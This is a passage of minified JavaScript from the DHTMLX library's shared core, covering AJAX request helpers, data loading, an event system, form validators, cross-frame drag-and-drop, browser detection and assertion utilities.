this._call(\"DELETE\",c,a,true,e)},post:function(c,a,e){if(arguments.length==1){a=\"\"}else{if(arguments.length==2&&(typeof(a)==\"function\"||typeof(window[a])==\"function\")){e=a;a=\"\"}else{a=String(a)}}return this._call(\"POST\",c,a,true,e)},postSync:function(c,a){a=(a==null?\"\":String(a));return this._call(\"POST\",c,a,false)},getLong:function(a,c){this._call(\"GET\",a,null,true,c,{url:a})},postLong:function(c,a,e){if(arguments.length==2&&(typeof(a)==\"function\"||typeof(window[a]))){e=a;a=\"\"}this._call(\"POST\",c,a,true,e,{url:c,postData:a})},_call:function(a,c,e,h,m,q,g){var o=(window.XMLHttpRequest&&!dhx4.isIE?new XMLHttpRequest():new ActiveXObject(\"Microsoft.XMLHTTP\"));var l=(navigator.userAgent.match(/AppleWebKit/)!=null&&navigator.userAgent.match(/Qt/)!=null&&navigator.userAgent.match(/Safari/)!=null);if(h==true){o.onreadystatechange=function(){if((o.readyState==4)||(l==true&&o.readyState==3)){if(o.status!=200||o.responseText==\"\"){if(!dhx4.callEvent(\"onAjaxError\",[{xmlDoc:o,filePath:c,async:h}])){return}}window.setTimeout(function(){if(typeof(m)==\"function\"){m.apply(window,[{xmlDoc:o,filePath:c,async:h}])}if(q!=null){if(typeof(q.postData)!=\"undefined\"){dhx4.ajax.postLong(q.url,q.postData,m)}else{dhx4.ajax.getLong(q.url,m)}}m=null;o=null},1)}}}if(a==\"GET\"&&this.cache!=true){c+=(c.indexOf(\"?\")>=0?\"&\":\"?\")+\"dhxr\"+new Date().getTime()+\"=1\"}o.open(a,c,h);if(g!=null){for(var n in g){o.setRequestHeader(n,g[n])}}else{if(a==\"POST\"||a==\"PUT\"||a==\"DELETE\"){o.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\")}else{if(a==\"GET\"){e=null}}}o.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\");o.send(e);return{xmlDoc:o,filePath:c,async:h}}}}if(typeof(window.dhx4._enableDataLoading)==\"undefined\"){window.dhx4._enableDataLoading=function(m,e,l,h,n){if(n==\"clear\"){for(var c in m._dhxdataload){m._dhxdataload[c]=null;delete m._dhxdataload[c]}m._loadData=null;m._dhxdataload=null;m.load=null;m.loadStruct=null;m=null;return}m._dhxdataload={initObj:e,xmlToJson:l,xmlRootTag:h,onBeforeXLS:null};m._loadData=function(u,v,w){if(arguments.length==2){w=v;v=null}var s=null;if(arguments.length==3){w=arguments[2]}if(typeof(u)==\"string\"){var r=u.replace(/^\\s{1,}/,\"\").replace(/\\s{1,}$/,\"\");var A=new RegExp(\"^<\"+this._dhxdataload.xmlRootTag);if(A.test(r.replace(/^<\\?xml[^\\?]*\\?>\\s*/,\"\"))){s=dhx4.ajax.parse(u);if(s!=null){s=this[this._dhxdataload.xmlToJson].apply(this,[s])}}if(s==null&&(r.match(/^[\\s\\S]*{[.\\s\\S]*}[\\s\\S]*$/)!=null||r.match(/^[\\s\\S]*\\[[.\\s\\S]*\\][\\s\\S]*$/)!=null)){s=dhx4.s2j(r)}if(s==null){this.callEvent(\"onXLS\",[]);var q=[];if(typeof(this._dhxdataload.onBeforeXLS)==\"function\"){var r=this._dhxdataload.onBeforeXLS.apply(this,[u]);if(r!=null&&typeof(r)==\"object\"){if(r.url!=null){u=r.url}if(r.params!=null){for(var x in r.params){q.push(x+\"=\"+encodeURIComponent(r.params[x]))}}}}var y=this;var o=function(a){var C=null;if((a.xmlDoc.getResponseHeader(\"Content-Type\")||\"\").search(/xml/gi)>=0||(a.xmlDoc.responseText.replace(/^\\s{1,}/,\"\")).match(/^</)!=null){C=y[y._dhxdataload.xmlToJson].apply(y,[a.xmlDoc.responseXML])}else{C=dhx4.s2j(a.xmlDoc.responseText)}if(C!=null){y[y._dhxdataload.initObj].apply(y,[C,u])}y.callEvent(\"onXLE\",[]);if(w!=null){if(typeof(w)==\"function\"){w.apply(y,[])}else{if(typeof(window[w])==\"function\"){window[w].apply(y,[])}}}o=w=null;C=a=y=null};q=q.join(\"&\")+(typeof(v)==\"string\"?\"&\"+v:\"\");if(dhx4.ajax.method==\"post\"){dhx4.ajax.post(u,q,o)}else{if(dhx4.ajax.method==\"get\"){dhx4.ajax.get(u+(q.length>0?(u.indexOf(\"?\")>0?\"&\":\"?\")+q:\"\"),o)}}return}}else{if(typeof(u.documentElement)==\"object\"||(typeof(u.tagName)!=\"undefined\"&&typeof(u.getElementsByTagName)!=\"undefined\"&&u.getElementsByTagName(this._dhxdataload.xmlRootTag).length>0)){s=this[this._dhxdataload.xmlToJson].apply(this,[u])}else{s=window.dhx4._copyObj(u)}}if(s!=null){this[this._dhxdataload.initObj].apply(this,[s])}if(w!=null){if(typeof(w)==\"function\"){w.apply(this,[])}else{if(typeof(window[w])==\"function\"){window[w].apply(this,[])}}w=null}};if(n!=null){var g={struct:\"loadStruct\",data:\"load\"};for(var c in n){if(n[c]==true){m[g[c]]=function(){return this._loadData.apply(this,arguments)}}}}m=null}}if(typeof(window.dhx4._eventable)==\"undefined\"){window.dhx4._eventable=function(a,c){if(c==\"clear\"){a.detachAllEvents();a.dhxevs=null;a.attachEvent=null;a.detachEvent=null;a.checkEvent=null;a.callEvent=null;a.detachAllEvents=null;a=null;return}a.dhxevs={data:{}};a.attachEvent=function(e,h){e=String(e).toLowerCase();if(!this.dhxevs.data[e]){this.dhxevs.data[e]={}}var g=window.dhx4.newId();this.dhxevs.data[e][g]=h;return g};a.detachEvent=function(l){for(var g in this.dhxevs.data){var h=0;for(var e in this.dhxevs.data[g]){if(e==l){this.dhxevs.data[g][e]=null;delete this.dhxevs.data[g][e]}else{h++}}if(h==0){this.dhxevs.data[g]=null;delete this.dhxevs.data[g]}}};a.checkEvent=function(e){e=String(e).toLowerCase();return(this.dhxevs.data[e]!=null)};a.callEvent=function(g,l){g=String(g).toLowerCase();if(this.dhxevs.data[g]==null){return true}var h=true;for(var e in this.dhxevs.data[g]){h=this.dhxevs.data[g][e].apply(this,l)&&h}return h};a.detachAllEvents=function(){for(var g in this.dhxevs.data){for(var e in this.dhxevs.data[g]){this.dhxevs.data[g][e]=null;delete this.dhxevs.data[g][e]}this.dhxevs.data[g]=null;delete this.dhxevs.data[g]}};a=null};dhx4._eventable(dhx4)}if(!window.dhtmlxValidation){dhtmlxValidation=function(){};dhtmlxValidation.prototype={isEmpty:function(a){return a==\"\"},isNotEmpty:function(a){return(a instanceof Array?a.length>0:!a==\"\")},isValidBoolean:function(a){return !!a.toString().match(/^(0|1|true|false)$/)},isValidEmail:function(a){return !!a.toString().match(/(^[a-z0-9]([0-9a-z\\-_\\.]*)@([0-9a-z_\\-\\.]*)([.][a-z]{3})$)|(^[a-z]([0-9a-z_\\.\\-]*)@([0-9a-z_\\-\\.]*)(\\.[a-z]{2,4})$)/i)},isValidInteger:function(a){return !!a.toString().match(/(^-?\\d+$)/)},isValidNumeric:function(a){return !!a.toString().match(/(^-?\\d\\d*[\\.|,]\\d*$)|(^-?\\d\\d*$)|(^-?[\\.|,]\\d\\d*$)/)},isValidAplhaNumeric:function(a){return !!a.toString().match(/^[_\\-a-z0-9]+$/gi)},isValidDatetime:function(c){var a=c.toString().match(/^(\\d{4})-(\\d{2})-(\\d{2})\\s(\\d{2}):(\\d{2}):(\\d{2})$/);return a&&!!(a[1]<=9999&&a[2]<=12&&a[3]<=31&&a[4]<=59&&a[5]<=59&&a[6]<=59)||false},isValidDate:function(a){var c=a.toString().match(/^(\\d{4})-(\\d{2})-(\\d{2})$/);return c&&!!(c[1]<=9999&&c[2]<=12&&c[3]<=31)||false},isValidTime:function(c){var a=c.toString().match(/^(\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/);return a&&!!(a[1]<=24&&a[2]<=59&&a[3]<=59)||false},isValidIPv4:function(a){var c=a.toString().match(/^(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})$/);return c&&!!(c[1]<=255&&c[2]<=255&&c[3]<=255&&c[4]<=255)||false},isValidCurrency:function(a){return a.toString().match(/^\\$?\\s?\\d+?([\\.,\\,]?\\d+)?\\s?\\$?$/)&&true||false},isValidSSN:function(a){return a.toString().match(/^\\d{3}\\-?\\d{2}\\-?\\d{4}$/)&&true||false},isValidSIN:function(a){return a.toString().match(/^\\d{9}$/)&&true||false}};dhtmlxValidation=new dhtmlxValidation()}if(typeof(window.dhtmlx)==\"undefined\"){window.dhtmlx={extend:function(e,c){for(var g in c){if(!e[g]){e[g]=c[g]}}return e},extend_api:function(a,g,e){var c=window[a];if(!c){return}window[a]=function(m){if(m&&typeof m==\"object\"&&!m.tagName){var l=c.apply(this,(g._init?g._init(m):arguments));for(var h in dhtmlx){if(g[h]){this[g[h]](dhtmlx[h])}}for(var h in m){if(g[h]){this[g[h]](m[h])}else{if(h.indexOf(\"on\")===0){this.attachEvent(h,m[h])}}}}else{var l=c.apply(this,arguments)}if(g._patch){g._patch(this)}return l||this};window[a].prototype=c.prototype;if(e){dhtmlx.extend(window[a].prototype,e)}},url:function(a){if(a.indexOf(\"?\")!=-1){return\"&\"}else{return\"?\"}}}}function dhtmlDragAndDropObject(){if(window.dhtmlDragAndDrop){return window.dhtmlDragAndDrop}this.lastLanding=0;this.dragNode=0;this.dragStartNode=0;this.dragStartObject=0;this.tempDOMU=null;this.tempDOMM=null;this.waitDrag=0;window.dhtmlDragAndDrop=this;return this}dhtmlDragAndDropObject.prototype.removeDraggableItem=function(a){a.onmousedown=null;a.dragStarter=null;a.dragLanding=null};dhtmlDragAndDropObject.prototype.addDraggableItem=function(a,c){a.onmousedown=this.preCreateDragCopy;a.dragStarter=c;this.addDragLanding(a,c)};dhtmlDragAndDropObject.prototype.addDragLanding=function(a,c){a.dragLanding=c};dhtmlDragAndDropObject.prototype.preCreateDragCopy=function(a){if((a||window.event)&&(a||event).button==2){return}if(window.dhtmlDragAndDrop.waitDrag){window.dhtmlDragAndDrop.waitDrag=0;document.body.onmouseup=window.dhtmlDragAndDrop.tempDOMU;document.body.onmousemove=window.dhtmlDragAndDrop.tempDOMM;return false}if(window.dhtmlDragAndDrop.dragNode){window.dhtmlDragAndDrop.stopDrag(a)}window.dhtmlDragAndDrop.waitDrag=1;window.dhtmlDragAndDrop.tempDOMU=document.body.onmouseup;window.dhtmlDragAndDrop.tempDOMM=document.body.onmousemove;window.dhtmlDragAndDrop.dragStartNode=this;window.dhtmlDragAndDrop.dragStartObject=this.dragStarter;document.body.onmouseup=window.dhtmlDragAndDrop.preCreateDragCopy;document.body.onmousemove=window.dhtmlDragAndDrop.callDrag;window.dhtmlDragAndDrop.downtime=new Date().valueOf();if((a)&&(a.preventDefault)){a.preventDefault();return false}return false};dhtmlDragAndDropObject.prototype.callDrag=function(g){if(!g){g=window.event}dragger=window.dhtmlDragAndDrop;if((new Date()).valueOf()-dragger.downtime<100){return}if(!dragger.dragNode){if(dragger.waitDrag){dragger.dragNode=dragger.dragStartObject._createDragNode(dragger.dragStartNode,g);if(!dragger.dragNode){return dragger.stopDrag()}dragger.dragNode.onselectstart=function(){return false};dragger.gldragNode=dragger.dragNode;document.body.appendChild(dragger.dragNode);document.body.onmouseup=dragger.stopDrag;dragger.waitDrag=0;dragger.dragNode.pWindow=window;dragger.initFrameRoute()}else{return dragger.stopDrag(g,true)}}if(dragger.dragNode.parentNode!=window.document.body&&dragger.gldragNode){var a=dragger.gldragNode;if(dragger.gldragNode.old){a=dragger.gldragNode.old}a.parentNode.removeChild(a);var c=dragger.dragNode.pWindow;if(a.pWindow&&a.pWindow.dhtmlDragAndDrop.lastLanding){a.pWindow.dhtmlDragAndDrop.lastLanding.dragLanding._dragOut(a.pWindow.dhtmlDragAndDrop.lastLanding)}if(_isIE){var l=document.createElement(\"Div\");l.innerHTML=dragger.dragNode.outerHTML;dragger.dragNode=l.childNodes[0]}else{dragger.dragNode=dragger.dragNode.cloneNode(true)}dragger.dragNode.pWindow=window;dragger.gldragNode.old=dragger.dragNode;document.body.appendChild(dragger.dragNode);c.dhtmlDragAndDrop.dragNode=dragger.dragNode}dragger.dragNode.style.left=g.clientX+15+(dragger.fx?dragger.fx*(-1):0)+(document.body.scrollLeft||document.documentElement.scrollLeft)+\"px\";dragger.dragNode.style.top=g.clientY+3+(dragger.fy?dragger.fy*(-1):0)+(document.body.scrollTop||document.documentElement.scrollTop)+\"px\";if(!g.srcElement){var h=g.target}else{h=g.srcElement}dragger.checkLanding(h,g)};dhtmlDragAndDropObject.prototype.calculateFramePosition=function(h){if(window.name){var e=parent.frames[window.name].frameElement.offsetParent;var g=0;var c=0;while(e){g+=e.offsetLeft;c+=e.offsetTop;e=e.offsetParent}if((parent.dhtmlDragAndDrop)){var a=parent.dhtmlDragAndDrop.calculateFramePosition(1);g+=a.split(\"_\")[0]*1;c+=a.split(\"_\")[1]*1}if(h){return g+\"_\"+c}else{this.fx=g}this.fy=c}return\"0_0\"};dhtmlDragAndDropObject.prototype.checkLanding=function(c,a){if((c)&&(c.dragLanding)){if(this.lastLanding){this.lastLanding.dragLanding._dragOut(this.lastLanding)}this.lastLanding=c;this.lastLanding=this.lastLanding.dragLanding._dragIn(this.lastLanding,this.dragStartNode,a.clientX,a.clientY,a);this.lastLanding_scr=(_isIE?a.srcElement:a.target)}else{if((c)&&(c.tagName!=\"BODY\")){this.checkLanding(c.parentNode,a)}else{if(this.lastLanding){this.lastLanding.dragLanding._dragOut(this.lastLanding,a.clientX,a.clientY,a)}this.lastLanding=0;if(this._onNotFound){this._onNotFound()}}}};dhtmlDragAndDropObject.prototype.stopDrag=function(c,g){dragger=window.dhtmlDragAndDrop;if(!g){dragger.stopFrameRoute();var a=dragger.lastLanding;dragger.lastLanding=null;if(a){a.dragLanding._drag(dragger.dragStartNode,dragger.dragStartObject,a,(_isIE?event.srcElement:c.target))}}dragger.lastLanding=null;if((dragger.dragNode)&&(dragger.dragNode.parentNode==document.body)){dragger.dragNode.parentNode.removeChild(dragger.dragNode)}dragger.dragNode=0;dragger.gldragNode=0;dragger.fx=0;dragger.fy=0;dragger.dragStartNode=0;dragger.dragStartObject=0;document.body.onmouseup=dragger.tempDOMU;document.body.onmousemove=dragger.tempDOMM;dragger.tempDOMU=null;dragger.tempDOMM=null;dragger.waitDrag=0};dhtmlDragAndDropObject.prototype.stopFrameRoute=function(g){if(g){window.dhtmlDragAndDrop.stopDrag(1,1)}for(var a=0;a<window.frames.length;a++){try{if((window.frames[a]!=g)&&(window.frames[a].dhtmlDragAndDrop)){window.frames[a].dhtmlDragAndDrop.stopFrameRoute(window)}}catch(c){}}try{if((parent.dhtmlDragAndDrop)&&(parent!=window)&&(parent!=g)){parent.dhtmlDragAndDrop.stopFrameRoute(window)}}catch(c){}};dhtmlDragAndDropObject.prototype.initFrameRoute=function(g,h){if(g){window.dhtmlDragAndDrop.preCreateDragCopy();window.dhtmlDragAndDrop.dragStartNode=g.dhtmlDragAndDrop.dragStartNode;window.dhtmlDragAndDrop.dragStartObject=g.dhtmlDragAndDrop.dragStartObject;window.dhtmlDragAndDrop.dragNode=g.dhtmlDragAndDrop.dragNode;window.dhtmlDragAndDrop.gldragNode=g.dhtmlDragAndDrop.dragNode;window.document.body.onmouseup=window.dhtmlDragAndDrop.stopDrag;window.waitDrag=0;if(((!_isIE)&&(h))&&((!_isFF)||(_FFrv<1.8))){window.dhtmlDragAndDrop.calculateFramePosition()}}try{if((parent.dhtmlDragAndDrop)&&(parent!=window)&&(parent!=g)){parent.dhtmlDragAndDrop.initFrameRoute(window)}}catch(c){}for(var a=0;a<window.frames.length;a++){try{if((window.frames[a]!=g)&&(window.frames[a].dhtmlDragAndDrop)){window.frames[a].dhtmlDragAndDrop.initFrameRoute(window,((!g||h)?1:0))}}catch(c){}}};_isFF=false;_isIE=false;_isOpera=false;_isKHTML=false;_isMacOS=false;_isChrome=false;_FFrv=false;_KHTMLrv=false;_OperaRv=false;if(navigator.userAgent.indexOf(\"Macintosh\")!=-1){_isMacOS=true}if(navigator.userAgent.toLowerCase().indexOf(\"chrome\")>-1){_isChrome=true}if((navigator.userAgent.indexOf(\"Safari\")!=-1)||(navigator.userAgent.indexOf(\"Konqueror\")!=-1)){_KHTMLrv=parseFloat(navigator.userAgent.substr(navigator.userAgent.indexOf(\"Safari\")+7,5));if(_KHTMLrv>525){_isFF=true;_FFrv=1.9}else{_isKHTML=true}}else{if(navigator.userAgent.indexOf(\"Opera\")!=-1){_isOpera=true;_OperaRv=parseFloat(navigator.userAgent.substr(navigator.userAgent.indexOf(\"Opera\")+6,3))}else{if(navigator.appName.indexOf(\"Microsoft\")!=-1){_isIE=true;if((navigator.appVersion.indexOf(\"MSIE 8.0\")!=-1||navigator.appVersion.indexOf(\"MSIE 9.0\")!=-1||navigator.appVersion.indexOf(\"MSIE 10.0\")!=-1||document.documentMode>7)&&document.compatMode!=\"BackCompat\"){_isIE=8}}else{if(navigator.appName==\"Netscape\"&&navigator.userAgent.indexOf(\"Trident\")!=-1){_isIE=8}else{_isFF=true;_FFrv=parseFloat(navigator.userAgent.split(\"rv:\")[1])}}}}if(typeof(window.dhtmlxEvent)==\"undefined\"){function dhtmlxEvent(c,e,a){if(c.addEventListener){c.addEventListener(e,a,false)}else{if(c.attachEvent){c.attachEvent(\"on\"+e,a)}}}}if(dhtmlxEvent.touchDelay==null){dhtmlxEvent.touchDelay=2000}if(typeof(dhtmlxEvent.initTouch)==\"undefined\"){dhtmlxEvent.initTouch=function(){var g;var h;var c,a;dhtmlxEvent(document.body,\"touchstart\",function(l){h=l.touches[0].target;c=l.touches[0].clientX;a=l.touches[0].clientY;g=window.setTimeout(e,dhtmlxEvent.touchDelay)});function e(){if(h){var l=document.createEvent(\"HTMLEvents\");l.initEvent(\"dblclick\",true,true);h.dispatchEvent(l);g=h=null}}dhtmlxEvent(document.body,\"touchmove\",function(l){if(g){if(Math.abs(l.touches[0].clientX-c)>50||Math.abs(l.touches[0].clientY-a)>50){window.clearTimeout(g);g=h=false}}});dhtmlxEvent(document.body,\"touchend\",function(l){if(g){window.clearTimeout(g);g=h=false}});dhtmlxEvent.initTouch=function(){}}}if(!window.dhtmlx){dhtmlx={}}dhtmlx.assert=function(c,a){if(!c){dhtmlx.error(a)}};dhtmlx.assert_enabled=function(){return false};dhtmlx.assert_event=function(l,e){if(!l._event_check){l._event_check={};l._event_check_size={}}for(var c in e){l._event_check[c.toLowerCase()]=e[c];var h=-1;for(var g in e[c]){h++}l._event_check_size[c.toLowerCase()]=h}};dhtmlx.assert_method_info=function(h,c,g,l){var a=[];for(var e=0;e<l.length;e++){a.push(l[e][0]+\" : \"+l[e][1]+\"\\n   \"+l[e][2].describe()+(l[e][3]?\"; optional\":\"\"))}return h.name+\".\"+c+\"\\n\"+g+\"\\n Arguments:\\n - \"+a.join(\"\\n - \")};dhtmlx.assert_method=function(e,a){for(var c in a){dhtmlx.assert_method_process(e,c,a[c].descr,a[c].args,(a[c].min||99),a[c].skip)}};dhtmlx.assert_method_process=function(l,c,h,m,e,g){var a=l[c];if(!g){l[c]=function(){if(arguments.length!=m.length&&arguments.length<e){dhtmlx.log(\"warn\",\"Incorrect count of parameters\\n\"+l[c].describe()+\"\\n\\nExpecting \"+m.length+\" but have only \"+arguments.length)}else{for(var n=0;n<m.length;n++){if(!m[n][3]&&!m[n][2](arguments[n])){dhtmlx.log(\"warn\",\"Incorrect method call\\n\"+l[c].describe()+\"\\n\\nActual value of \"+(n+1)+\" parameter: {\"+(typeof arguments[n])+\"} \"+arguments[n])}}}return a.apply(this,arguments)}}l[c].describe=function(){return dhtmlx.assert_method_info(l,c,h,m)}};dhtmlx.assert_event_call=function(e,c,a){if(e._event_check){if(!e._event_check[c]){dhtmlx.log(\"warn\",\"Not expected event call :\"+c)}else{if(dhtmlx.isNotDefined(a)){dhtmlx.log(\"warn\",\"Event without parameters :\"+c)}else{if(e._event_check_size[c]!=a.length){dhtmlx.log(\"warn\",\"Incorrect event call, expected \"+e._event_check_size[c]+\" parameter(s), but have \"+a.length+\" parameter(s), for \"+c+\" event\")}}}}};dhtmlx.assert_event_attach=function(c,a){if(c._event_check&&!c._event_check[a]){dhtmlx.log(\"warn\",\"Unknown event name: \"+a)}};dhtmlx.assert_property=function(c,a){if(!c._settings_check){c._settings_check={}}dhtmlx.extend(c._settings_check,a)};dhtmlx.assert_check=function(e,c){if(typeof e==\"object\"){for(var a in e){dhtmlx.assert_settings(a,e[a],c)}}};dhtmlx.assert_settings=function(n,h,g){g=g||this._settings_check;if(g){if(!g[n]){return dhtmlx.log(\"warn\",\"Unknown propery: \"+n)}var m=\"\";var c=\"\";var a=false;for(var e=0;e<g[n].length;e++){var l=g[n][e];if(typeof l==\"string\"){continue}if(typeof l==\"function\"){a=a||l(h)}else{if(typeof l==\"object\"&&typeof l[1]==\"function\"){a=a||l[1](h);if(a&&l[2]){dhtmlx.assert_check(h,l[2])}}}if(a){break}}if(!a){dhtmlx.log(\"warn\",\"Invalid configuration\\n\"+dhtmlx.assert_info(n,g)+\"\\nActual value: {\"+(typeof h)+\"} \"+h)}}};dhtmlx.assert_info=function(c,l){var a=l[c];var h=\"\";var g=[];for(var e=0;e<a.length;e++){if(typeof rule==\"string\"){h=a[e]}else{if(a[e].describe){g.push(a[e].describe())}else{if(a[e][1]&&a[e][1].describe){g.push(a[e][1].describe())}}}}return\"Property: \"+c+\", \"+h+\" \\nExpected value: \\n - \"+g.join(\"\\n - \")};if(dhtmlx.assert_enabled()){dhtmlx.assert_rule_color=function(a){if(typeof a!=\"string\"){return false}if(a.indexOf(\"#\")!==0){return false}if(a.substr(1).replace(/[0-9A-F]/gi,\"\")!==\"\"){return false}return true};dhtmlx.assert_rule_color.describe=function(){return\"{String} Value must start from # and contain hexadecimal code of color\"};dhtmlx.assert_rule_template=function(a){if(typeof a==\"function\"){return true}if(typeof a==\"string\"){return true}return false};dhtmlx.assert_rule_template.describe=function(){return\"{Function},{String} Value must be a function which accepts data object and return text string, or a sting with optional template markers\"};dhtmlx.assert_rule_boolean=function(a){if(typeof a==\"boolean\"){return true}return false};dhtmlx.assert_rule_boolean.describe=function(){return\"{Boolean} true or false\"};dhtmlx.assert_rule_object=function(a,c){if(typeof a==\"object\"){return true}return false};dhtmlx.assert_rule_object.describe=function(){return\"{Object} Configuration object\"};dhtmlx.assert_rule_string=function(a){if(typeof a==\"string\"){return true}return false};dhtmlx.assert_rule_string.describe=function(){return\"{String} Plain string\"};dhtmlx.assert_rule_htmlpt=function(a){return !!dhtmlx.toNode(a)};dhtmlx.assert_rule_htmlpt.describe=function(){return\"{Object},{String} HTML node or ID of HTML Node\"};dhtmlx.assert_rule_notdocumented=function(a){return false};dhtmlx.assert_rule_notdocumented.describe=function(){return\"This options wasn't documented\"};dhtmlx.assert_rule_key=function(c){var a=function(e){return c[e]};a.describe=function(){var g=[];for(var e in c){g.push(e)}return\"{String} can take one of next values: \"+g.join(\", \")};return a};dhtmlx.assert_rule_dimension=function(a){if(a*1==a&&!isNaN(a)&&a>=0){return true}return false};dhtmlx.assert_rule_dimension.describe=function(){return\"{Integer} value must be a positive number\"};dhtmlx.assert_rule_number=function(a){if(typeof a==\"number\"){return true}return false};dhtmlx.assert_rule_number.describe=function(){return\"{Integer} value must be a number\"};dhtmlx.assert_rule_function=function(a){if(typeof a==\"function\"){return true}return false};dhtmlx.assert_rule_function.describe=function(){return\"{Function} value must be a custom function\"};dhtmlx.assert_rule_any=function(a){return true};dhtmlx.assert_rule_any.describe=function(){return\"Any value\"};dhtmlx.assert_rule_mix=function(e,c){var g=function(a){if(e(a)||c(a)){return true}return false};g.describe=function(){return e.describe()};return g}}dhtmlx.codebase=\"./\";dhtmlx.copy=function(c){var a=dhtmlx.copy._function;a.prototype=c;return new a()};dhtmlx.copy._function=function(){};dhtmlx.extend=function(c,a){for(var e in a){c[e]=a[e]}if(dhtmlx.assert_enabled()&&a._assert){c._assert();c._assert=null}dhtmlx.assert(c,\"Invalid nesting target\");dhtmlx.assert(a,\"Invalid nesting source\");if(a._init){c._init()}return c};dhtmlx.proto_extend=function(){var l=arguments;var e=l[0];var c=[];for(var h=l.length-1;h>0;h--){if(typeof l[h]==\"function\"){l[h]=l[h].prototype}for(var g in l[h]){if(g==\"_init\"){c.push(l[h][g])}else{if(!e[g]){e[g]=l[h][g]}}}}if(l[0]._init){c.push(l[0]._init)}e._init=function(){for(var m=0;m<c.length;m++){c[m].apply(this,arguments)}};e.base=l[1];var a=function(m){this._init(m);if(this._parseSettings){this._parseSettings(m,this.defaults)}};a.prototype=e;e=l=null;return a};dhtmlx.bind=function(c,a){return function(){return c.apply(a,arguments)}};dhtmlx.require=function(a){if(!dhtmlx._modules[a]){dhtmlx.assert(dhtmlx.ajax,\"load module is required\");dhtmlx.exec(dhtmlx.ajax().sync().get(dhtmlx.codebase+a).responseText);dhtmlx._modules[a]=true}};dhtmlx._modules={};dhtmlx.exec=function(code){if(window.execScript){window.execScript(code)}else{window.eval(code)}};dhtmlx.methodPush=function(a,e,c){return function(){var g=false;g=a[e].apply(a,arguments);return g}};dhtmlx.isNotDefined=function(c){return typeof c==\"undefined\"};dhtmlx.delay=function(g,c,e,a){setTimeout(function(){var h=g.apply(c,e);g=c=e=null;return h},a||1)};dhtmlx.uid=function(){if(!this._seed){this._seed=(new Date).valueOf()}this._seed++;return this._seed};dhtmlx.toNode=function(a){if(typeof a==\"string\"){return document.getElementById(a)}return a};dhtmlx.toArray=function(a){return dhtmlx.extend((a||[]),dhtmlx.PowerArray)};dhtmlx.toFunctor=function(str){return(typeof(str)==\"string\")?eval(str):str};dhtmlx._events={};dhtmlx.event=function(g,e,a,c){g=dhtmlx.toNode(g);var h=dhtmlx.uid();dhtmlx._events[h]=[g,e,a];if(c){a=dhtmlx.bind(a,c)}if(g.addEventListener){g.addEventListener(e,a,false)}else{if(g.attachEvent){g.attachEvent(\"on\"+e,a)}}return h};dhtmlx.eventRemove=function(c){if(!c){return}dhtmlx.assert(this._events[c],\"Removing non-existing event\");var a=dhtmlx._events[c];if(a[0].removeEventListener){a[0].removeEventListener(a[1],a[2],false)}else{if(a[0].detachEvent){a[0].detachEvent(\"on\"+a[1],a[2])}}delete this._events[c]};dhtmlx.log=function(c,e,a){if(window.console&&console.log){c=c.toLowerCase();if(window.console[c]){window.console[c](e||\"unknown error\")}else{window.console.log(c+\": \"+e)}if(a){window.console.log(a)}}};dhtmlx.log_full_time=function(a){dhtmlx._start_time_log=new Date();dhtmlx.log(\"Info\",\"Timing start [\"+a+\"]\");window.setTimeout(function(){var c=new Date();dhtmlx.log(\"Info\",\"Timing end [\"+a+\"]:\"+(c.valueOf()-dhtmlx._start_time_log.valueOf())/1000+\"s\")},1)};dhtmlx.log_time=function(a){var e=\"_start_time_log\"+a;if(!dhtmlx[e]){dhtmlx[e]=new Date();dhtmlx.log(\"Info\",\"Timing start [\"+a+\"]\")}else{var c=new Date();dhtmlx.log(\"Info\",\"Timing end [\"+a+\"]:\"+(c.valueOf()-dhtmlx[e].valueOf())/1000+\"s\");dhtmlx[e]=null}};dhtmlx.error=function(c,a){dhtmlx.log(\"error\",c,a)};dhtmlx.EventSystem={_init:function(){this._events={};this._handlers={};this._map={}},block:function(){this._events._block=true},unblock:function(){this._events._block=false},mapEvent:function(a){dhtmlx.extend(this._map,a)},callEvent:function(e,h){if(this._events._block){return true}e=e.toLowerCase();dhtmlx.assert_event_call(this,e,h);var g=this._events[e.toLowerCase()];var a=true;if(dhtmlx.debug){dhtmlx.log(\"info\",\"[\"+this.name+\"] event:\"+e,h)}if(g){for(var c=0;c<g.length;c++){if(g[c].apply(this,(h||[]))===false){a=false}}}if(this._map[e]&&!this._map[e].callEvent(e,h)){a=false}return a},attachEvent:function(c,a,g){c=c.toLowerCase();dhtmlx.assert_event_attach(this,c);g=g||dhtmlx.uid();a=dhtmlx.toFunctor(a);var e=this._events[c]||dhtmlx.toArray();e.push(a);this._events[c]=e;this._handlers[g]={f:a,t:c};return g},detachEvent:function(g){if(this._handlers[g]){var c=this._handlers[g].t;var a=this._handlers[g].f;var e=this._events[c];e.remove(a);delete this._handlers[g]}}};dhtmlx.PowerArray={removeAt:function(c,a){if(c>=0){this.splice(c,(a||1))}},remove:function(a){this.removeAt(this.find(a))},insertAt:function(c,e){if(!e&&e!==0){this.push(c)}else{var a=this.splice(e,(this.length-e));this[e]=c;this.push.apply(this,a)}},find:function(a){for(i=0;i<this.length;i++){if(a==this[i]){return i}}return -1},each:function(a,e){for(var c=0;c<this.length;c++){a.call((e||this),this[c])}},map:function(a,e){for(var c=0;c<this.length;c++){this[c]=a.call((e||this),this[c])}return this}};dhtmlx.env={};if(navigator.userAgent.indexOf(\"Opera\")!=-1){dhtmlx._isOpera=true}else{dhtmlx._isIE=!!document.all;dhtmlx._isFF=!document.all;dhtmlx._isWebKit=(navigator.userAgent.indexOf(\"KHTML\")!=-1);if(navigator.appVersion.indexOf(\"MSIE 8.0\")!=-1&&document.compatMode!=\"BackCompat\"){dhtmlx._isIE=8}if(navigator.appVersion.indexOf(\"MSIE 9.0\")!=-1&&document.compatMode!=\"BackCompat\"){dhtmlx._isIE=9}}dhtmlx.env={};(function(){dhtmlx.env.transform=false;dhtmlx.env.transition=false;var a={};a.names=[\"transform\",\"transition\"];a.transform=[\"transform\",\"WebkitTransform\",\"MozTransform\",\"oTransform\",\"msTransform\"];a.transition=[\"transition\",\"WebkitTransition\",\"MozTransition\",\"oTransition\"];var g=document.createElement(\"DIV\");var e;for(var c=0;c<a.names.length;c++){while(p=a[a.names[c]].pop()){if(typeof g.style[p]!=\"undefined\"){dhtmlx.env[a.names[c]]=true}}}})();dhtmlx.env.transform_prefix=(function(){var 